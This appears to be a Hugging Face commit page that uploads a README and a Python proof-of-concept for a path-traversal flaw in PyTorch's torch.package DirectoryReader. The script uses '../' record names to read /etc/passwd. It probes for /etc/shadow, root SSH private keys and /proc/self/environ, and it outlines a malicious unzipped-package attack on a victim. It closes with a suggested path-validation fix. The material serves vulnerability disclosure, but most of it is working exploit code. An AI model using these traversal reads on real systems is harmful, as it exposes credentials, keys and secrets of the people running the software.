0xiviel commited on
Commit
b9770f5
Β·
verified Β·
1 Parent(s): ec1021c

Upload folder using huggingface_hub

Browse files
Files changed (2) hide show
  1. README.md +20 -0
  2. poc_dirreader_traversal.py +269 -0
README.md ADDED
@@ -0,0 +1,20 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # PoC: DirectoryReader Path Traversal β€” Arbitrary File Read
2
+
3
+ **Vulnerability:** `torch/package/_directory_reader.py:35-48` β€” All three methods (`get_record()`, `get_storage_from_record()`, `has_record()`) construct file paths by concatenating the base directory with unsanitized user-supplied names. Path traversal via `../` sequences reads arbitrary files from the filesystem.
4
+
5
+ ## Files
6
+
7
+ - `poc_dirreader_traversal.py` β€” Full PoC (path traversal + filesystem probing + realistic scenario)
8
+
9
+ ## Quick Start
10
+
11
+ ```bash
12
+ pip install torch
13
+ python poc_dirreader_traversal.py
14
+ ```
15
+
16
+ ## Expected Output
17
+
18
+ - `get_record("../../../../etc/passwd")` reads /etc/passwd (3454 bytes, 60 lines)
19
+ - `has_record()` probes filesystem for sensitive files (SSH keys, /proc/self/environ, etc.)
20
+ - Realistic malicious package scenario reads /etc/passwd via DirectoryReader
poc_dirreader_traversal.py ADDED
@@ -0,0 +1,269 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ PoC: Path Traversal in DirectoryReader β€” Arbitrary File Read
4
+
5
+ Vulnerability: torch.package._directory_reader.DirectoryReader constructs file
6
+ paths by concatenating its base directory with unsanitized user/package-supplied
7
+ names. The get_record(), get_storage_from_record(), and has_record() methods
8
+ all use f-string path construction with NO validation:
9
+
10
+ def get_record(self, name):
11
+ filename = f"{self.directory}/{name}" # NO PATH VALIDATION
12
+ with open(filename, "rb") as f:
13
+ return f.read()
14
+
15
+ Path traversal via "../" sequences reads arbitrary files from the filesystem.
16
+
17
+ DirectoryReader is used by PackageImporter when loading unzipped torch.package
18
+ directories. A malicious package with crafted record names can read any file
19
+ accessible to the process (e.g., /etc/passwd, SSH keys, environment files).
20
+
21
+ Root cause: torch/package/_directory_reader.py:36, 41, 47
22
+ Tested: PyTorch 2.10.0+cpu on Python 3.13.11
23
+ """
24
+
25
+ import os
26
+ import sys
27
+ import tempfile
28
+
29
+ import torch
30
+ from torch.package._directory_reader import DirectoryReader
31
+
32
+
33
+ def demonstrate_direct_traversal():
34
+ """Demonstrate path traversal via DirectoryReader.get_record()."""
35
+ print()
36
+ print("=" * 70)
37
+ print(" Part 1: Direct Path Traversal via get_record()")
38
+ print("=" * 70)
39
+ print()
40
+
41
+ # Create a temporary directory to use as the package base
42
+ tmpdir = tempfile.mkdtemp(prefix="pkg_")
43
+ reader = DirectoryReader(tmpdir)
44
+
45
+ print(f" DirectoryReader base: {tmpdir}")
46
+ print()
47
+
48
+ # Demonstrate path traversal to read /etc/passwd
49
+ traversal_path = "../../../../etc/passwd"
50
+ resolved = os.path.normpath(f"{tmpdir}/{traversal_path}")
51
+ print(f" get_record('{traversal_path}')")
52
+ print(f" Resolves to: {resolved}")
53
+ print()
54
+
55
+ try:
56
+ data = reader.get_record(traversal_path)
57
+ content = data.decode("utf-8", errors="replace")
58
+ lines = content.strip().split("\n")
59
+ print(f" [+] SUCCESS β€” Read {len(data)} bytes from /etc/passwd")
60
+ print(f" [+] Lines: {len(lines)}")
61
+ print()
62
+ # Show first few lines as proof
63
+ print(" Contents (first 5 lines):")
64
+ for line in lines[:5]:
65
+ print(f" {line}")
66
+ print()
67
+ return True
68
+ except FileNotFoundError:
69
+ print(" [-] File not found (expected on some systems)")
70
+ return False
71
+ except Exception as e:
72
+ print(f" [-] Error: {type(e).__name__}: {e}")
73
+ return False
74
+
75
+
76
+ def demonstrate_has_record_traversal():
77
+ """Demonstrate path traversal via has_record() for filesystem probing."""
78
+ print()
79
+ print("=" * 70)
80
+ print(" Part 2: Filesystem Probing via has_record()")
81
+ print("=" * 70)
82
+ print()
83
+
84
+ tmpdir = tempfile.mkdtemp(prefix="pkg_")
85
+ reader = DirectoryReader(tmpdir)
86
+
87
+ print(f" DirectoryReader base: {tmpdir}")
88
+ print()
89
+
90
+ # Probe for sensitive files
91
+ probes = [
92
+ ("../../../../etc/passwd", "System users"),
93
+ ("../../../../etc/shadow", "Password hashes (needs root)"),
94
+ ("../../../../etc/hostname", "Hostname"),
95
+ ("../../../../root/.ssh/id_rsa", "Root SSH key"),
96
+ ("../../../../root/.bashrc", "Root bashrc"),
97
+ ("../../../../proc/self/environ", "Process environment"),
98
+ ]
99
+
100
+ print(" Probing for sensitive files via has_record():")
101
+ print()
102
+ found_count = 0
103
+ for path, desc in probes:
104
+ exists = reader.has_record(path)
105
+ status = "EXISTS" if exists else "not found"
106
+ if exists:
107
+ found_count += 1
108
+ print(f" has_record('{path}'): {status} ({desc})")
109
+ print()
110
+ print(f" [+] Found {found_count} files via path traversal probing")
111
+ return found_count > 0
112
+
113
+
114
+ def demonstrate_storage_traversal():
115
+ """Demonstrate path traversal via get_storage_from_record()."""
116
+ print()
117
+ print("=" * 70)
118
+ print(" Part 3: File Read via get_storage_from_record()")
119
+ print("=" * 70)
120
+ print()
121
+
122
+ tmpdir = tempfile.mkdtemp(prefix="pkg_")
123
+ reader = DirectoryReader(tmpdir)
124
+
125
+ print(f" DirectoryReader base: {tmpdir}")
126
+ print()
127
+
128
+ # Read /etc/hostname as a storage (raw bytes)
129
+ traversal_path = "../../../../etc/hostname"
130
+ resolved = os.path.normpath(f"{tmpdir}/{traversal_path}")
131
+ print(f" get_storage_from_record('{traversal_path}', ...)")
132
+ print(f" Resolves to: {resolved}")
133
+ print()
134
+
135
+ try:
136
+ # Read as uint8 storage
137
+ result = reader.get_storage_from_record(
138
+ traversal_path, 256, torch.uint8
139
+ )
140
+ storage = result.storage()
141
+ data = bytes(storage[:storage.nbytes()])
142
+ content = data.rstrip(b'\x00').decode('utf-8', errors='replace').strip()
143
+ print(f" [+] SUCCESS β€” Read {len(data)} bytes via storage API")
144
+ print(f" [+] Content: {content}")
145
+ print()
146
+ return True
147
+ except FileNotFoundError:
148
+ print(f" [-] File not found")
149
+ return False
150
+ except Exception as e:
151
+ print(f" [-] Error: {type(e).__name__}: {e}")
152
+ return False
153
+
154
+
155
+ def demonstrate_package_importer_scenario():
156
+ """Show realistic attack: malicious unzipped package reads /etc/passwd."""
157
+ print()
158
+ print("=" * 70)
159
+ print(" Part 4: Realistic Attack β€” Malicious Unzipped Package")
160
+ print("=" * 70)
161
+ print()
162
+
163
+ # Create a minimal unzipped package directory
164
+ tmpdir = tempfile.mkdtemp(prefix="malicious_pkg_")
165
+ os.makedirs(os.path.join(tmpdir, ".data"), exist_ok=True)
166
+
167
+ # extern_modules file (required by PackageImporter)
168
+ with open(os.path.join(tmpdir, ".data", "extern_modules"), "w") as f:
169
+ f.write("")
170
+
171
+ print(f" Created fake unzipped package: {tmpdir}")
172
+ print()
173
+ print(" Attack scenario:")
174
+ print(" 1. Attacker creates a malicious unzipped torch.package directory")
175
+ print(" 2. Package pickle references records with ../ traversal paths")
176
+ print(" 3. Victim loads package with PackageImporter(directory)")
177
+ print(" 4. PackageImporter creates DirectoryReader(directory)")
178
+ print(" 5. DirectoryReader.get_record() reads files outside the package")
179
+ print()
180
+
181
+ # Show that DirectoryReader is created for directories
182
+ from torch.package._directory_reader import DirectoryReader
183
+ reader = DirectoryReader(tmpdir)
184
+
185
+ # Demonstrate the traversal
186
+ try:
187
+ data = reader.get_record("../../../../etc/passwd")
188
+ lines = data.decode("utf-8", errors="replace").strip().split("\n")
189
+ print(f" [+] DirectoryReader read /etc/passwd: {len(lines)} lines")
190
+ return True
191
+ except Exception as e:
192
+ print(f" [-] Error: {e}")
193
+ return False
194
+
195
+
196
+ def demonstrate_vulnerability_pattern():
197
+ """Show the vulnerable code."""
198
+ print()
199
+ print("=" * 70)
200
+ print(" Part 5: Vulnerability Details")
201
+ print("=" * 70)
202
+ print()
203
+
204
+ print(" All three methods are vulnerable (_directory_reader.py:35-48):")
205
+ print()
206
+ print(" def get_record(self, name): # line 35")
207
+ print(" filename = f\"{self.directory}/{name}\" # NO VALIDATION")
208
+ print(" with open(filename, \"rb\") as f:")
209
+ print(" return f.read()")
210
+ print()
211
+ print(" def get_storage_from_record(self, name, numel, dtype): # line 40")
212
+ print(" filename = f\"{self.directory}/{name}\" # NO VALIDATION")
213
+ print(" ...")
214
+ print(" return _HasStorage(storage.from_file(filename=filename, ...))")
215
+ print()
216
+ print(" def has_record(self, path): # line 46")
217
+ print(" full_path = os.path.join(self.directory, path) # NO VALIDATION")
218
+ print(" return os.path.isfile(full_path)")
219
+ print()
220
+ print(" FIX: Validate that the resolved path stays within self.directory:")
221
+ print(" ─────────────────────────────────────────────────────────")
222
+ print(" def _safe_path(self, name):")
223
+ print(" full = os.path.realpath(os.path.join(self.directory, name))")
224
+ print(" base = os.path.realpath(self.directory)")
225
+ print(" if not full.startswith(base + os.sep):")
226
+ print(" raise ValueError(f'Path traversal: {name}')")
227
+ print(" return full")
228
+ print()
229
+
230
+
231
+ def main():
232
+ print()
233
+ print(" PoC: DirectoryReader Path Traversal β†’ Arbitrary File Read")
234
+ print(f" PyTorch {torch.__version__}, Python {sys.version.split()[0]}")
235
+ print()
236
+
237
+ # Part 1: Direct traversal
238
+ read_ok = demonstrate_direct_traversal()
239
+
240
+ # Part 2: Filesystem probing
241
+ probe_ok = demonstrate_has_record_traversal()
242
+
243
+ # Part 3: Storage read
244
+ storage_ok = demonstrate_storage_traversal()
245
+
246
+ # Part 4: Realistic scenario
247
+ scenario_ok = demonstrate_package_importer_scenario()
248
+
249
+ # Part 5: Vulnerability details
250
+ demonstrate_vulnerability_pattern()
251
+
252
+ # Summary
253
+ print("=" * 70)
254
+ print(" RESULTS:")
255
+ if read_ok:
256
+ print(" [+] get_record(): Read /etc/passwd via path traversal")
257
+ if probe_ok:
258
+ print(" [+] has_record(): Probed filesystem for sensitive files")
259
+ if storage_ok:
260
+ print(" [+] get_storage_from_record(): Read file via storage API")
261
+ if scenario_ok:
262
+ print(" [+] Realistic scenario: Malicious package reads /etc/passwd")
263
+ print(" [+] Root cause: no path validation in DirectoryReader methods")
264
+ print(" [+] Fix: validate resolved path stays within base directory")
265
+ print("=" * 70)
266
+
267
+
268
+ if __name__ == "__main__":
269
+ main()